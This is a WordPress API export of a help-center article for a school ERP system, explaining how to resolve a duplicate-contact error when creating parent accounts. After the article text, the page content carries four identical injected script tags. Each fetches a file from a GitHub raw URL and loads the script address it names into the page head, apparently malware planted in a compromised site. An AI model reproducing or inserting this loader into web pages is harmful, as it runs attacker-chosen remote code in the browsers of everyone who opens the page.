{"id":7787,"date":"2024-12-18T04:17:48","date_gmt":"2024-12-17T22:47:48","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=7787"},"modified":"2025-01-03T05:11:02","modified_gmt":"2025-01-02T23:41:02","slug":"how-do-i-fix-the-error-user-already-exists-with-that-contact-when-creating-parent-accounts","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-fix-the-error-user-already-exists-with-that-contact-when-creating-parent-accounts\/","title":{"rendered":"How do I fix the error &#8216;User Already Exists with that Contact&#8217; when creating parent accounts?"},"content":{"rendered":"\n<p>Go to <strong>Settings<\/strong> \u2192 <strong>Administration<\/strong> \u2192 <strong>School Setup<\/strong> \u2192 <strong>User Account Management-&gt; Parent<\/strong><\/p>\n\n\n\n<p>2. In <strong>User Account Management<\/strong>, navigate to the <strong>Activated<\/strong> section and check which Parent account is activated with that contact number.<\/p>\n\n\n\n<p>3. If the account does not belong to the correct Parent, go to <strong>Transaction<\/strong> \u2192 <strong>Student<\/strong> \u2192 <strong>Student List<\/strong>, search for the correct Student or Parent, change mobile number or email, and create the account with the correct contact information<\/p>\n<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script>","protected":false},"excerpt":{"rendered":"<p>Go to Settings \u2192 Administration \u2192 School Setup \u2192 User Account Management-&gt; Parent 2. In User Account Management, navigate to the Activated section and check which Parent account is activated with that contact number. 3. If the account does not belong to the correct Parent, go to Transaction \u2192 Student \u2192 Student List, search for &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-do-i-fix-the-error-user-already-exists-with-that-contact-when-creating-parent-accounts\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How do I fix the error &#8216;User Already Exists with that Contact&#8217; when creating parent accounts?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[835,837],"tags":[],"post_folder":[],"class_list":["post-7787","post","type-post","status-publish","format-standard","hentry","category-nextos-knowledge-base","category-parent-account"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7787","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=7787"}],"version-history":[{"count":6,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7787\/revisions"}],"predecessor-version":[{"id":10250,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7787\/revisions\/10250"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=7787"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=7787"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=7787"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=7787"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}